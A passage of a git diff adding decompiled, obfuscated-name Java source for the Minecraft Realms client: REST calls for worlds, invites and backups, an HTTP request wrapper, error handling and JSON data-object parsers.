RealmsServiceException + { + RealmsDescriptionDto realmsdescriptiondto = new RealmsDescriptionDto(p_224900_3_, p_224900_4_); + String s = this.func_224926_c("worlds" + "/$WORLD_ID/initialize".replace("$WORLD_ID", String.valueOf(p_224900_1_))); + String s1 = field_237691_f_.func_237694_a_(realmsdescriptiondto); + this.func_224938_a(Request.func_224959_a(s, s1, 5000, 10000)); + } + + public Boolean func_224918_g() throws RealmsServiceException + { + String s = this.func_224926_c("mco/available"); + String s1 = this.func_224938_a(Request.func_224953_a(s)); + return Boolean.valueOf(s1); + } + + public Boolean func_224931_h() throws RealmsServiceException + { + String s = this.func_224926_c("mco/stageAvailable"); + String s1 = this.func_224938_a(Request.func_224953_a(s)); + return Boolean.valueOf(s1); + } + + public RealmsClient.CompatibleVersionResponse func_224939_i() throws RealmsServiceException + { + String s = this.func_224926_c("mco/client/compatible"); + String s1 = this.func_224938_a(Request.func_224953_a(s)); + + try + { + return RealmsClient.CompatibleVersionResponse.valueOf(s1); + } + catch (IllegalArgumentException illegalargumentexception) + { + throw new RealmsServiceException(500, "Could not check compatible version, got response: " + s1, -1, ""); + } + } + + public void func_224908_a(long p_224908_1_, String p_224908_3_) throws RealmsServiceException + { + String s = this.func_224926_c("invites" + "/$WORLD_ID/invite/$UUID".replace("$WORLD_ID", String.valueOf(p_224908_1_)).replace("$UUID", p_224908_3_)); + this.func_224938_a(Request.func_224952_b(s)); + } + + public void func_224912_c(long p_224912_1_) throws RealmsServiceException + { + String s = this.func_224926_c("invites" + "/$WORLD_ID".replace("$WORLD_ID", String.valueOf(p_224912_1_))); + this.func_224938_a(Request.func_224952_b(s)); + } + + public RealmsServer func_224910_b(long p_224910_1_, String p_224910_3_) throws RealmsServiceException + { + PlayerInfo playerinfo = new PlayerInfo(); + playerinfo.func_230758_a_(p_224910_3_); + String s = this.func_224926_c("invites" + "/$WORLD_ID".replace("$WORLD_ID", String.valueOf(p_224910_1_))); + String s1 = this.func_224938_a(Request.func_224951_b(s, field_237691_f_.func_237694_a_(playerinfo))); + return RealmsServer.func_230779_c_(s1); + } + + public BackupList func_224923_d(long p_224923_1_) throws RealmsServiceException + { + String s = this.func_224926_c("worlds" + "/$WORLD_ID/backups".replace("$WORLD_ID", String.valueOf(p_224923_1_))); + String s1 = this.func_224938_a(Request.func_224953_a(s)); + return BackupList.func_230753_a_(s1); + } + + public void func_224922_b(long p_224922_1_, String p_224922_3_, String p_224922_4_) throws RealmsServiceException + { + RealmsDescriptionDto realmsdescriptiondto = new RealmsDescriptionDto(p_224922_3_, p_224922_4_); + String s = this.func_224926_c("worlds" + "/$WORLD_ID".replace("$WORLD_ID", String.valueOf(p_224922_1_))); + this.func_224938_a(Request.func_224951_b(s, field_237691_f_.func_237694_a_(realmsdescriptiondto))); + } + + public void func_224925_a(long p_224925_1_, int p_224925_3_, RealmsWorldOptions p_224925_4_) throws RealmsServiceException + { + String s = this.func_224926_c("worlds" + "/$WORLD_ID/slot/$SLOT_ID".replace("$WORLD_ID", String.valueOf(p_224925_1_)).replace("$SLOT_ID", String.valueOf(p_224925_3_))); + String s1 = p_224925_4_.func_230791_c_(); + this.func_224938_a(Request.func_224951_b(s, s1)); + } + + public boolean func_224927_a(long p_224927_1_, int p_224927_3_) throws RealmsServiceException + { + String s = this.func_224926_c("worlds" + "/$WORLD_ID/slot/$SLOT_ID".replace("$WORLD_ID", String.valueOf(p_224927_1_)).replace("$SLOT_ID", String.valueOf(p_224927_3_))); + String s1 = this.func_224938_a(Request.func_224965_c(s, "")); + return Boolean.valueOf(s1); + } + + public void func_224928_c(long p_224928_1_, String p_224928_3_) throws RealmsServiceException + { + String s = this.func_224907_b("worlds" + "/$WORLD_ID/backups".replace("$WORLD_ID", String.valueOf(p_224928_1_)), "backupId=" + p_224928_3_); + this.func_224938_a(Request.func_224966_b(s, "", 40000, 600000)); + } + + public WorldTemplatePaginatedList func_224930_a(int p_224930_1_, int p_224930_2_, RealmsServer.ServerType p_224930_3_) throws RealmsServiceException + { + String s = this.func_224907_b("worlds" + "/templates/$WORLD_TYPE".replace("$WORLD_TYPE", p_224930_3_.toString()), String.format("page=%d&pageSize=%d", p_224930_1_, p_224930_2_)); + String s1 = this.func_224938_a(Request.func_224953_a(s)); + return WorldTemplatePaginatedList.func_230804_a_(s1); + } + + public Boolean func_224905_d(long p_224905_1_, String p_224905_3_) throws RealmsServiceException + { + String s = "/minigames/$MINIGAME_ID/$WORLD_ID".replace("$MINIGAME_ID", p_224905_3_).replace("$WORLD_ID", String.valueOf(p_224905_1_)); + String s1 = this.func_224926_c("worlds" + s); + return Boolean.valueOf(this.func_224938_a(Request.func_224965_c(s1, ""))); + } + + public Ops func_224906_e(long p_224906_1_, String p_224906_3_) throws RealmsServiceException + { + String s = "/$WORLD_ID/$PROFILE_UUID".replace("$WORLD_ID", String.valueOf(p_224906_1_)).replace("$PROFILE_UUID", p_224906_3_); + String s1 = this.func_224926_c("ops" + s); + return Ops.func_230754_a_(this.func_224938_a(Request.func_224951_b(s1, ""))); + } + + public Ops func_224929_f(long p_224929_1_, String p_224929_3_) throws RealmsServiceException + { + String s = "/$WORLD_ID/$PROFILE_UUID".replace("$WORLD_ID", String.valueOf(p_224929_1_)).replace("$PROFILE_UUID", p_224929_3_); + String s1 = this.func_224926_c("ops" + s); + return Ops.func_230754_a_(this.func_224938_a(Request.func_224952_b(s1))); + } + + public Boolean func_224942_e(long p_224942_1_) throws RealmsServiceException + { + String s = this.func_224926_c("worlds" + "/$WORLD_ID/open".replace("$WORLD_ID", String.valueOf(p_224942_1_))); + String s1 = this.func_224938_a(Request.func_224965_c(s, "")); + return Boolean.valueOf(s1); + } + + public Boolean func_224932_f(long p_224932_1_) throws RealmsServiceException + { + String s = this.func_224926_c("worlds" + "/$WORLD_ID/close".replace("$WORLD_ID", String.valueOf(p_224932_1_))); + String s1 = this.func_224938_a(Request.func_224965_c(s, "")); + return Boolean.valueOf(s1); + } + + public Boolean func_224943_a(long p_224943_1_, String p_224943_3_, Integer p_224943_4_, boolean p_224943_5_) throws RealmsServiceException + { + RealmsWorldResetDto realmsworldresetdto = new RealmsWorldResetDto(p_224943_3_, -1L, p_224943_4_, p_224943_5_); + String s = this.func_224926_c("worlds" + "/$WORLD_ID/reset".replace("$WORLD_ID", String.valueOf(p_224943_1_))); + String s1 = this.func_224938_a(Request.func_224959_a(s, field_237691_f_.func_237694_a_(realmsworldresetdto), 30000, 80000)); + return Boolean.valueOf(s1); + } + + public Boolean func_224924_g(long p_224924_1_, String p_224924_3_) throws RealmsServiceException + { + RealmsWorldResetDto realmsworldresetdto = new RealmsWorldResetDto((String)null, Long.valueOf(p_224924_3_), -1, false); + String s = this.func_224926_c("worlds" + "/$WORLD_ID/reset".replace("$WORLD_ID", String.valueOf(p_224924_1_))); + String s1 = this.func_224938_a(Request.func_224959_a(s, field_237691_f_.func_237694_a_(realmsworldresetdto), 30000, 80000)); + return Boolean.valueOf(s1); + } + + public Subscription func_224933_g(long p_224933_1_) throws RealmsServiceException + { + String s = this.func_224926_c("subscriptions" + "/$WORLD_ID".replace("$WORLD_ID", String.valueOf(p_224933_1_))); + String s1 = this.func_224938_a(Request.func_224953_a(s)); + return Subscription.func_230793_a_(s1); + } + + public int func_224909_j() throws RealmsServiceException + { + return this.func_224919_k().field_230569_a_.size(); + } + + public PendingInvitesList func_224919_k() throws RealmsServiceException + { + String s = this.func_224926_c("invites/pending"); + String s1 = this.func_224938_a(Request.func_224953_a(s)); + PendingInvitesList pendinginviteslist = PendingInvitesList.func_230756_a_(s1); + pendinginviteslist.field_230569_a_.removeIf(this::func_244733_a); + return pendinginviteslist; + } + + private boolean func_244733_a(PendingInvite p_244733_1_) + { + try + { + UUID uuid = UUID.fromString(p_244733_1_.field_230566_d_); + return this.field_244732_f.func_244599_aA().func_244757_e(uuid); + } + catch (IllegalArgumentException illegalargumentexception) + { + return false; + } + } + + public void func_224901_a(String p_224901_1_) throws RealmsServiceException + { + String s = this.func_224926_c("invites" + "/accept/$INVITATION_ID".replace("$INVITATION_ID", p_224901_1_)); + this.func_224938_a(Request.func_224965_c(s, "")); + } + + public WorldDownload func_224917_b(long p_224917_1_, int p_224917_3_) throws RealmsServiceException + { + String s = this.func_224926_c("worlds" + "/$WORLD_ID/slot/$SLOT_ID/download".replace("$WORLD_ID", String.valueOf(p_224917_1_)).replace("$SLOT_ID", String.valueOf(p_224917_3_))); + String s1 = this.func_224938_a(Request.func_224953_a(s)); + return WorldDownload.func_230802_a_(s1); + } + + @Nullable + public UploadInfo func_224934_h(long p_224934_1_, @Nullable String p_224934_3_) throws RealmsServiceException + { + String s = this.func_224926_c("worlds" + "/$WORLD_ID/backups/upload".replace("$WORLD_ID", String.valueOf(p_224934_1_))); + return UploadInfo.func_230796_a_(this.func_224938_a(Request.func_224965_c(s, UploadInfo.func_243090_b(p_224934_3_)))); + } + + public void func_224913_b(String p_224913_1_) throws RealmsServiceException + { + String s = this.func_224926_c("invites" + "/reject/$INVITATION_ID".replace("$INVITATION_ID", p_224913_1_)); + this.func_224938_a(Request.func_224965_c(s, "")); + } + + public void func_224937_l() throws RealmsServiceException + { + String s = this.func_224926_c("mco/tos/agreed"); + this.func_224938_a(Request.func_224951_b(s, "")); + } + + public RealmsNews func_224920_m() throws RealmsServiceException + { + String s = this.func_224926_c("mco/v1/news"); + String s1 = this.func_224938_a(Request.func_224960_a(s, 5000, 10000)); + return RealmsNews.func_230767_a_(s1); + } + + public void func_224903_a(PingResult p_224903_1_) throws RealmsServiceException + { + String s = this.func_224926_c("regions/ping/stat"); + this.func_224938_a(Request.func_224951_b(s, field_237691_f_.func_237694_a_(p_224903_1_))); + } + + public Boolean func_224914_n() throws RealmsServiceException + { + String s = this.func_224926_c("trial"); + String s1 = this.func_224938_a(Request.func_224953_a(s)); + return Boolean.valueOf(s1); + } + + public void func_224916_h(long p_224916_1_) throws RealmsServiceException + { + String s = this.func_224926_c("worlds" + "/$WORLD_ID".replace("$WORLD_ID", String.valueOf(p_224916_1_))); + this.func_224938_a(Request.func_224952_b(s)); + } + + @Nullable + private String func_224926_c(String p_224926_1_) + { + return this.func_224907_b(p_224926_1_, (String)null); + } + + @Nullable + private String func_224907_b(String p_224907_1_, @Nullable String p_224907_2_) + { + try + { + return (new URI(field_224944_a.field_224899_e, field_224944_a.field_224898_d, "/" + p_224907_1_, p_224907_2_, (String)null)).toASCIIString(); + } + catch (URISyntaxException urisyntaxexception) + { + urisyntaxexception.printStackTrace(); + return null; + } + } + + private String func_224938_a(Request p_224938_1_) throws RealmsServiceException + { + p_224938_1_.func_224962_a("sid", this.field_224947_d); + p_224938_1_.func_224962_a("user", this.field_224948_e); + p_224938_1_.func_224962_a("version", SharedConstants.getVersion().getName()); + + try + { + int i = p_224938_1_.func_224958_b(); + + if (i != 503 && i != 277) + { + String s = p_224938_1_.func_224963_c(); + + if (i >= 200 && i < 300) + { + return s; + } + else if (i == 401) + { + String s1 = p_224938_1_.func_224956_c("WWW-Authenticate"); + field_224946_c.info("Could not authorize you against Realms server: " + s1); + throw new RealmsServiceException(i, s1, -1, s1); + } + else if (s != null && s.length() != 0) + { + RealmsError realmserror = RealmsError.func_241826_a_(s); + field_224946_c.error("Realms http code: " + i + " - error code: " + realmserror.func_224974_b() + " - message: " + realmserror.func_224973_a() + " - raw body: " + s); + throw new RealmsServiceException(i, s, realmserror); + } + else + { + field_224946_c.error("Realms error code: " + i + " message: " + s); + throw new RealmsServiceException(i, s, i, ""); + } + } + else + { + int j = p_224938_1_.func_224957_a(); + throw new RetryCallException(j, i); + } + } + catch (RealmsHttpException realmshttpexception) + { + throw new RealmsServiceException(500, "Could not connect to Realms: " + realmshttpexception.getMessage(), -1, ""); + } + } + + public static enum CompatibleVersionResponse + { + COMPATIBLE, + OUTDATED, + OTHER; + } + + public static enum Environment + { + PRODUCTION("pc.realms.minecraft.net", "https"), + STAGE("pc-stage.realms.minecraft.net", "https"), + LOCAL("localhost:8080", "http"); + + public String field_224898_d; + public String field_224899_e; + + private Environment(String p_i51584_3_, String p_i51584_4_) + { + this.field_224898_d = p_i51584_3_; + this.field_224899_e = p_i51584_4_; + } + } +} diff --git a/src/com/mojang/realmsclient/client/RealmsClientConfig.java b/src/com/mojang/realmsclient/client/RealmsClientConfig.java new file mode 100644 index 00000000..f5d81c7c --- /dev/null +++ b/src/com/mojang/realmsclient/client/RealmsClientConfig.java @@ -0,0 +1,21 @@ +package com.mojang.realmsclient.client; + +import java.net.Proxy; + +public class RealmsClientConfig +{ + private static Proxy field_224897_a; + + public static Proxy func_224895_a() + { + return field_224897_a; + } + + public static void func_224896_a(Proxy p_224896_0_) + { + if (field_224897_a == null) + { + field_224897_a = p_224896_0_; + } + } +} diff --git a/src/com/mojang/realmsclient/client/RealmsError.java b/src/com/mojang/realmsclient/client/RealmsError.java new file mode 100644 index 00000000..fbc8ebc1 --- /dev/null +++ b/src/com/mojang/realmsclient/client/RealmsError.java @@ -0,0 +1,48 @@ +package com.mojang.realmsclient.client; + +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.mojang.realmsclient.util.JsonUtils; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsError +{ + private static final Logger field_224975_a = LogManager.getLogger(); + private final String field_224976_b; + private final int field_224977_c; + + private RealmsError(String p_i241823_1_, int p_i241823_2_) + { + this.field_224976_b = p_i241823_1_; + this.field_224977_c = p_i241823_2_; + } + + public static RealmsError func_241826_a_(String p_241826_0_) + { + try + { + JsonParser jsonparser = new JsonParser(); + JsonObject jsonobject = jsonparser.parse(p_241826_0_).getAsJsonObject(); + String s = JsonUtils.func_225171_a("errorMsg", jsonobject, ""); + int i = JsonUtils.func_225172_a("errorCode", jsonobject, -1); + return new RealmsError(s, i); + } + catch (Exception exception) + { + field_224975_a.error("Could not parse RealmsError: " + exception.getMessage()); + field_224975_a.error("The error was: " + p_241826_0_); + return new RealmsError("Failed to parse response from server", -1); + } + } + + public String func_224973_a() + { + return this.field_224976_b; + } + + public int func_224974_b() + { + return this.field_224977_c; + } +} diff --git a/src/com/mojang/realmsclient/client/Request.java b/src/com/mojang/realmsclient/client/Request.java new file mode 100644 index 00000000..5363f22a --- /dev/null +++ b/src/com/mojang/realmsclient/client/Request.java @@ -0,0 +1,377 @@ +package com.mojang.realmsclient.client; + +import com.mojang.realmsclient.exception.RealmsHttpException; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.io.OutputStreamWriter; +import java.net.HttpURLConnection; +import java.net.MalformedURLException; +import java.net.Proxy; +import java.net.URL; + +public abstract class Request> +{ + protected HttpURLConnection field_224968_a; + private boolean field_224970_c; + protected String field_224969_b; + + public Request(String p_i51788_1_, int p_i51788_2_, int p_i51788_3_) + { + try + { + this.field_224969_b = p_i51788_1_; + Proxy proxy = RealmsClientConfig.func_224895_a(); + + if (proxy != null) + { + this.field_224968_a = (HttpURLConnection)(new URL(p_i51788_1_)).openConnection(proxy); + } + else + { + this.field_224968_a = (HttpURLConnection)(new URL(p_i51788_1_)).openConnection(); + } + + this.field_224968_a.setConnectTimeout(p_i51788_2_); + this.field_224968_a.setReadTimeout(p_i51788_3_); + } + catch (MalformedURLException malformedurlexception) + { + throw new RealmsHttpException(malformedurlexception.getMessage(), malformedurlexception); + } + catch (IOException ioexception) + { + throw new RealmsHttpException(ioexception.getMessage(), ioexception); + } + } + + public void func_224962_a(String p_224962_1_, String p_224962_2_) + { + func_224967_a(this.field_224968_a, p_224962_1_, p_224962_2_); + } + + public static void func_224967_a(HttpURLConnection p_224967_0_, String p_224967_1_, String p_224967_2_) + { + String s = p_224967_0_.getRequestProperty("Cookie"); + + if (s == null) + { + p_224967_0_.setRequestProperty("Cookie", p_224967_1_ + "=" + p_224967_2_); + } + else + { + p_224967_0_.setRequestProperty("Cookie", s + ";" + p_224967_1_ + "=" + p_224967_2_); + } + } + + public int func_224957_a() + { + return func_224964_a(this.field_224968_a); + } + + public static int func_224964_a(HttpURLConnection p_224964_0_) + { + String s = p_224964_0_.getHeaderField("Retry-After"); + + try + { + return Integer.valueOf(s); + } + catch (Exception exception) + { + return 5; + } + } + + public int func_224958_b() + { + try + { + this.func_224955_d(); + return this.field_224968_a.getResponseCode(); + } + catch (Exception exception) + { + throw new RealmsHttpException(exception.getMessage(), exception); + } + } + + public String func_224963_c() + { + try + { + this.func_224955_d(); + String s = null; + + if (this.func_224958_b() >= 400) + { + s = this.func_224954_a(this.field_224968_a.getErrorStream()); + } + else + { + s = this.func_224954_a(this.field_224968_a.getInputStream()); + } + + this.func_224950_f(); + return s; + } + catch (IOException ioexception) + { + throw new RealmsHttpException(ioexception.getMessage(), ioexception); + } + } + + private String func_224954_a(InputStream p_224954_1_) throws IOException + { + if (p_224954_1_ == null) + { + return ""; + } + else + { + InputStreamReader inputstreamreader = new InputStreamReader(p_224954_1_, "UTF-8"); + StringBuilder stringbuilder = new StringBuilder(); + + for (int i = inputstreamreader.read(); i != -1; i = inputstreamreader.read()) + { + stringbuilder.append((char)i); + } + + return stringbuilder.toString(); + } + } + + private void func_224950_f() + { + byte[] abyte = new byte[1024]; + + try + { + InputStream inputstream = this.field_224968_a.getInputStream(); + + while (inputstream.read(abyte) > 0) + { + } + + inputstream.close(); + return; + } + catch (Exception exception) + { + try + { + InputStream inputstream1 = this.field_224968_a.getErrorStream(); + + if (inputstream1 != null) + { + while (inputstream1.read(abyte) > 0) + { + } + + inputstream1.close(); + return; + } + } + catch (IOException ioexception) + { + return; + } + } + finally + { + if (this.field_224968_a != null) + { + this.field_224968_a.disconnect(); + } + } + } + + protected T func_224955_d() + { + if (this.field_224970_c) + { + return (T)this; + } + else + { + T t = this.func_223626_e_(); + this.field_224970_c = true; + return t; + } + } + + protected abstract T func_223626_e_(); + + public static Request func_224953_a(String p_224953_0_) + { + return new Request.Get(p_224953_0_, 5000, 60000); + } + + public static Request func_224960_a(String p_224960_0_, int p_224960_1_, int p_224960_2_) + { + return new Request.Get(p_224960_0_, p_224960_1_, p_224960_2_); + } + + public static Request func_224951_b(String p_224951_0_, String p_224951_1_) + { + return new Request.Post(p_224951_0_, p_224951_1_, 5000, 60000); + } + + public static Request func_224959_a(String p_224959_0_, String p_224959_1_, int p_224959_2_, int p_224959_3_) + { + return new Request.Post(p_224959_0_, p_224959_1_, p_224959_2_, p_224959_3_); + } + + public static Request func_224952_b(String p_224952_0_) + { + return new Request.Delete(p_224952_0_, 5000, 60000); + } + + public static Request func_224965_c(String p_224965_0_, String p_224965_1_) + { + return new Request.Put(p_224965_0_, p_224965_1_, 5000, 60000); + } + + public static Request func_224966_b(String p_224966_0_, String p_224966_1_, int p_224966_2_, int p_224966_3_) + { + return new Request.Put(p_224966_0_, p_224966_1_, p_224966_2_, p_224966_3_); + } + + public String func_224956_c(String p_224956_1_) + { + return func_224961_a(this.field_224968_a, p_224956_1_); + } + + public static String func_224961_a(HttpURLConnection p_224961_0_, String p_224961_1_) + { + try + { + return p_224961_0_.getHeaderField(p_224961_1_); + } + catch (Exception exception) + { + return ""; + } + } + + public static class Delete extends Request + { + public Delete(String p_i51800_1_, int p_i51800_2_, int p_i51800_3_) + { + super(p_i51800_1_, p_i51800_2_, p_i51800_3_); + } + + public Request.Delete func_223626_e_() + { + try + { + this.field_224968_a.setDoOutput(true); + this.field_224968_a.setRequestMethod("DELETE"); + this.field_224968_a.connect(); + return this; + } + catch (Exception exception) + { + throw new RealmsHttpException(exception.getMessage(), exception); + } + } + } + + public static class Get extends Request + { + public Get(String p_i51799_1_, int p_i51799_2_, int p_i51799_3_) + { + super(p_i51799_1_, p_i51799_2_, p_i51799_3_); + } + + public Request.Get func_223626_e_() + { + try + { + this.field_224968_a.setDoInput(true); + this.field_224968_a.setDoOutput(true); + this.field_224968_a.setUseCaches(false); + this.field_224968_a.setRequestMethod("GET"); + return this; + } + catch (Exception exception) + { + throw new RealmsHttpException(exception.getMessage(), exception); + } + } + } + + public static class Post extends Request + { + private final String field_224971_c; + + public Post(String p_i51798_1_, String p_i51798_2_, int p_i51798_3_, int p_i51798_4_) + { + super(p_i51798_1_, p_i51798_3_, p_i51798_4_); + this.field_224971_c = p_i51798_2_; + } + + public Request.Post func_223626_e_() + { + try + { + if (this.field_224971_c != null) + { + this.field_224968_a.setRequestProperty("Content-Type", "application/json; charset=utf-8"); + } + + this.field_224968_a.setDoInput(true); + this.field_224968_a.setDoOutput(true); + this.field_224968_a.setUseCaches(false); + this.field_224968_a.setRequestMethod("POST"); + OutputStream outputstream = this.field_224968_a.getOutputStream(); + OutputStreamWriter outputstreamwriter = new OutputStreamWriter(outputstream, "UTF-8"); + outputstreamwriter.write(this.field_224971_c); + outputstreamwriter.close(); + outputstream.flush(); + return this; + } + catch (Exception exception) + { + throw new RealmsHttpException(exception.getMessage(), exception); + } + } + } + + public static class Put extends Request + { + private final String field_224972_c; + + public Put(String p_i51797_1_, String p_i51797_2_, int p_i51797_3_, int p_i51797_4_) + { + super(p_i51797_1_, p_i51797_3_, p_i51797_4_); + this.field_224972_c = p_i51797_2_; + } + + public Request.Put func_223626_e_() + { + try + { + if (this.field_224972_c != null) + { + this.field_224968_a.setRequestProperty("Content-Type", "application/json; charset=utf-8"); + } + + this.field_224968_a.setDoOutput(true); + this.field_224968_a.setDoInput(true); + this.field_224968_a.setRequestMethod("PUT"); + OutputStream outputstream = this.field_224968_a.getOutputStream(); + OutputStreamWriter outputstreamwriter = new OutputStreamWriter(outputstream, "UTF-8"); + outputstreamwriter.write(this.field_224972_c); + outputstreamwriter.close(); + outputstream.flush(); + return this; + } + catch (Exception exception) + { + throw new RealmsHttpException(exception.getMessage(), exception); + } + } + } +} diff --git a/src/com/mojang/realmsclient/client/UploadStatus.java b/src/com/mojang/realmsclient/client/UploadStatus.java new file mode 100644 index 00000000..7b0b2f82 --- /dev/null +++ b/src/com/mojang/realmsclient/client/UploadStatus.java @@ -0,0 +1,7 @@ +package com.mojang.realmsclient.client; + +public class UploadStatus +{ + public volatile long field_224978_a; + public volatile long field_224979_b; +} diff --git a/src/com/mojang/realmsclient/client/package-info.java b/src/com/mojang/realmsclient/client/package-info.java new file mode 100644 index 00000000..d39e7f6c --- /dev/null +++ b/src/com/mojang/realmsclient/client/package-info.java @@ -0,0 +1,6 @@ +@ParametersAreNonnullByDefault +@MethodsReturnNonnullByDefault +package com.mojang.realmsclient.client; + +import mcp.MethodsReturnNonnullByDefault; +import javax.annotation.ParametersAreNonnullByDefault; \ No newline at end of file diff --git a/src/com/mojang/realmsclient/dto/Backup.java b/src/com/mojang/realmsclient/dto/Backup.java new file mode 100644 index 00000000..82aea1a7 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/Backup.java @@ -0,0 +1,88 @@ +package com.mojang.realmsclient.dto; + +import com.google.common.collect.Maps; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.mojang.realmsclient.util.JsonUtils; +import java.util.Date; +import java.util.Map; +import java.util.Map.Entry; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class Backup extends ValueObject +{ + private static final Logger field_230558_f_ = LogManager.getLogger(); + public String field_230553_a_; + public Date field_230554_b_; + public long field_230555_c_; + private boolean field_230559_g_; + public Map field_230556_d_ = Maps.newHashMap(); + public Map field_230557_e_ = Maps.newHashMap(); + + public static Backup func_230750_a_(JsonElement p_230750_0_) + { + JsonObject jsonobject = p_230750_0_.getAsJsonObject(); + Backup backup = new Backup(); + + try + { + backup.field_230553_a_ = JsonUtils.func_225171_a("backupId", jsonobject, ""); + backup.field_230554_b_ = JsonUtils.func_225173_a("lastModifiedDate", jsonobject); + backup.field_230555_c_ = JsonUtils.func_225169_a("size", jsonobject, 0L); + + if (jsonobject.has("metadata")) + { + JsonObject jsonobject1 = jsonobject.getAsJsonObject("metadata"); + + for (Entry entry : jsonobject1.entrySet()) + { + if (!entry.getValue().isJsonNull()) + { + backup.field_230556_d_.put(func_230751_a_(entry.getKey()), entry.getValue().getAsString()); + } + } + } + } + catch (Exception exception) + { + field_230558_f_.error("Could not parse Backup: " + exception.getMessage()); + } + + return backup; + } + + private static String func_230751_a_(String p_230751_0_) + { + String[] astring = p_230751_0_.split("_"); + StringBuilder stringbuilder = new StringBuilder(); + + for (String s : astring) + { + if (s != null && s.length() >= 1) + { + if ("of".equals(s)) + { + stringbuilder.append(s).append(" "); + } + else + { + char c0 = Character.toUpperCase(s.charAt(0)); + stringbuilder.append(c0).append(s.substring(1)).append(" "); + } + } + } + + return stringbuilder.toString(); + } + + public boolean func_230749_a_() + { + return this.field_230559_g_; + } + + public void func_230752_a_(boolean p_230752_1_) + { + this.field_230559_g_ = p_230752_1_; + } +} diff --git a/src/com/mojang/realmsclient/dto/BackupList.java b/src/com/mojang/realmsclient/dto/BackupList.java new file mode 100644 index 00000000..6a46d831 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/BackupList.java @@ -0,0 +1,43 @@ +package com.mojang.realmsclient.dto; + +import com.google.common.collect.Lists; +import com.google.gson.JsonElement; +import com.google.gson.JsonParser; +import java.util.Iterator; +import java.util.List; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class BackupList extends ValueObject +{ + private static final Logger field_230561_b_ = LogManager.getLogger(); + public List field_230560_a_; + + public static BackupList func_230753_a_(String p_230753_0_) + { + JsonParser jsonparser = new JsonParser(); + BackupList backuplist = new BackupList(); + backuplist.field_230560_a_ = Lists.newArrayList(); + + try + { + JsonElement jsonelement = jsonparser.parse(p_230753_0_).getAsJsonObject().get("backups"); + + if (jsonelement.isJsonArray()) + { + Iterator iterator = jsonelement.getAsJsonArray().iterator(); + + while (iterator.hasNext()) + { + backuplist.field_230560_a_.add(Backup.func_230750_a_(iterator.next())); + } + } + } + catch (Exception exception) + { + field_230561_b_.error("Could not parse BackupList: " + exception.getMessage()); + } + + return backuplist; + } +} diff --git a/src/com/mojang/realmsclient/dto/Ops.java b/src/com/mojang/realmsclient/dto/Ops.java new file mode 100644 index 00000000..c1d2a932 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/Ops.java @@ -0,0 +1,38 @@ +package com.mojang.realmsclient.dto; + +import com.google.common.collect.Sets; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import java.util.Set; + +public class Ops extends ValueObject +{ + public Set field_230562_a_ = Sets.newHashSet(); + + public static Ops func_230754_a_(String p_230754_0_) + { + Ops ops = new Ops(); + JsonParser jsonparser = new JsonParser(); + + try + { + JsonElement jsonelement = jsonparser.parse(p_230754_0_); + JsonObject jsonobject = jsonelement.getAsJsonObject(); + JsonElement jsonelement1 = jsonobject.get("ops"); + + if (jsonelement1.isJsonArray()) + { + for (JsonElement jsonelement2 : jsonelement1.getAsJsonArray()) + { + ops.field_230562_a_.add(jsonelement2.getAsString()); + } + } + } + catch (Exception exception) + { + } + + return ops; + } +} diff --git a/src/com/mojang/realmsclient/dto/PendingInvite.java b/src/com/mojang/realmsclient/dto/PendingInvite.java new file mode 100644 index 00000000..8049e670 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/PendingInvite.java @@ -0,0 +1,37 @@ +package com.mojang.realmsclient.dto; + +import com.google.gson.JsonObject; +import com.mojang.realmsclient.util.JsonUtils; +import java.util.Date; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class PendingInvite extends ValueObject +{ + private static final Logger field_230568_f_ = LogManager.getLogger(); + public String field_230563_a_; + public String field_230564_b_; + public String field_230565_c_; + public String field_230566_d_; + public Date field_230567_e_; + + public static PendingInvite func_230755_a_(JsonObject p_230755_0_) + { + PendingInvite pendinginvite = new PendingInvite(); + + try + { + pendinginvite.field_230563_a_ = JsonUtils.func_225171_a("invitationId", p_230755_0_, ""); + pendinginvite.field_230564_b_ = JsonUtils.func_225171_a("worldName", p_230755_0_, ""); + pendinginvite.field_230565_c_ = JsonUtils.func_225171_a("worldOwnerName", p_230755_0_, ""); + pendinginvite.field_230566_d_ = JsonUtils.func_225171_a("worldOwnerUuid", p_230755_0_, ""); + pendinginvite.field_230567_e_ = JsonUtils.func_225173_a("date", p_230755_0_); + } + catch (Exception exception) + { + field_230568_f_.error("Could not parse PendingInvite: " + exception.getMessage()); + } + + return pendinginvite; + } +} diff --git a/src/com/mojang/realmsclient/dto/PendingInvitesList.java b/src/com/mojang/realmsclient/dto/PendingInvitesList.java new file mode 100644 index 00000000..b01e2e07 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/PendingInvitesList.java @@ -0,0 +1,43 @@ +package com.mojang.realmsclient.dto; + +import com.google.common.collect.Lists; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import java.util.Iterator; +import java.util.List; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class PendingInvitesList extends ValueObject +{ + private static final Logger field_230570_b_ = LogManager.getLogger(); + public List field_230569_a_ = Lists.newArrayList(); + + public static PendingInvitesList func_230756_a_(String p_230756_0_) + { + PendingInvitesList pendinginviteslist = new PendingInvitesList(); + + try + { + JsonParser jsonparser = new JsonParser(); + JsonObject jsonobject = jsonparser.parse(p_230756_0_).getAsJsonObject(); + + if (jsonobject.get("invites").isJsonArray()) + { + Iterator iterator = jsonobject.get("invites").getAsJsonArray().iterator(); + + while (iterator.hasNext()) + { + pendinginviteslist.field_230569_a_.add(PendingInvite.func_230755_a_(iterator.next().getAsJsonObject())); + } + } + } + catch (Exception exception) + { + field_230570_b_.error("Could not parse PendingInvitesList: " + exception.getMessage()); + } + + return pendinginviteslist; + } +} diff --git a/src/com/mojang/realmsclient/dto/PingResult.java 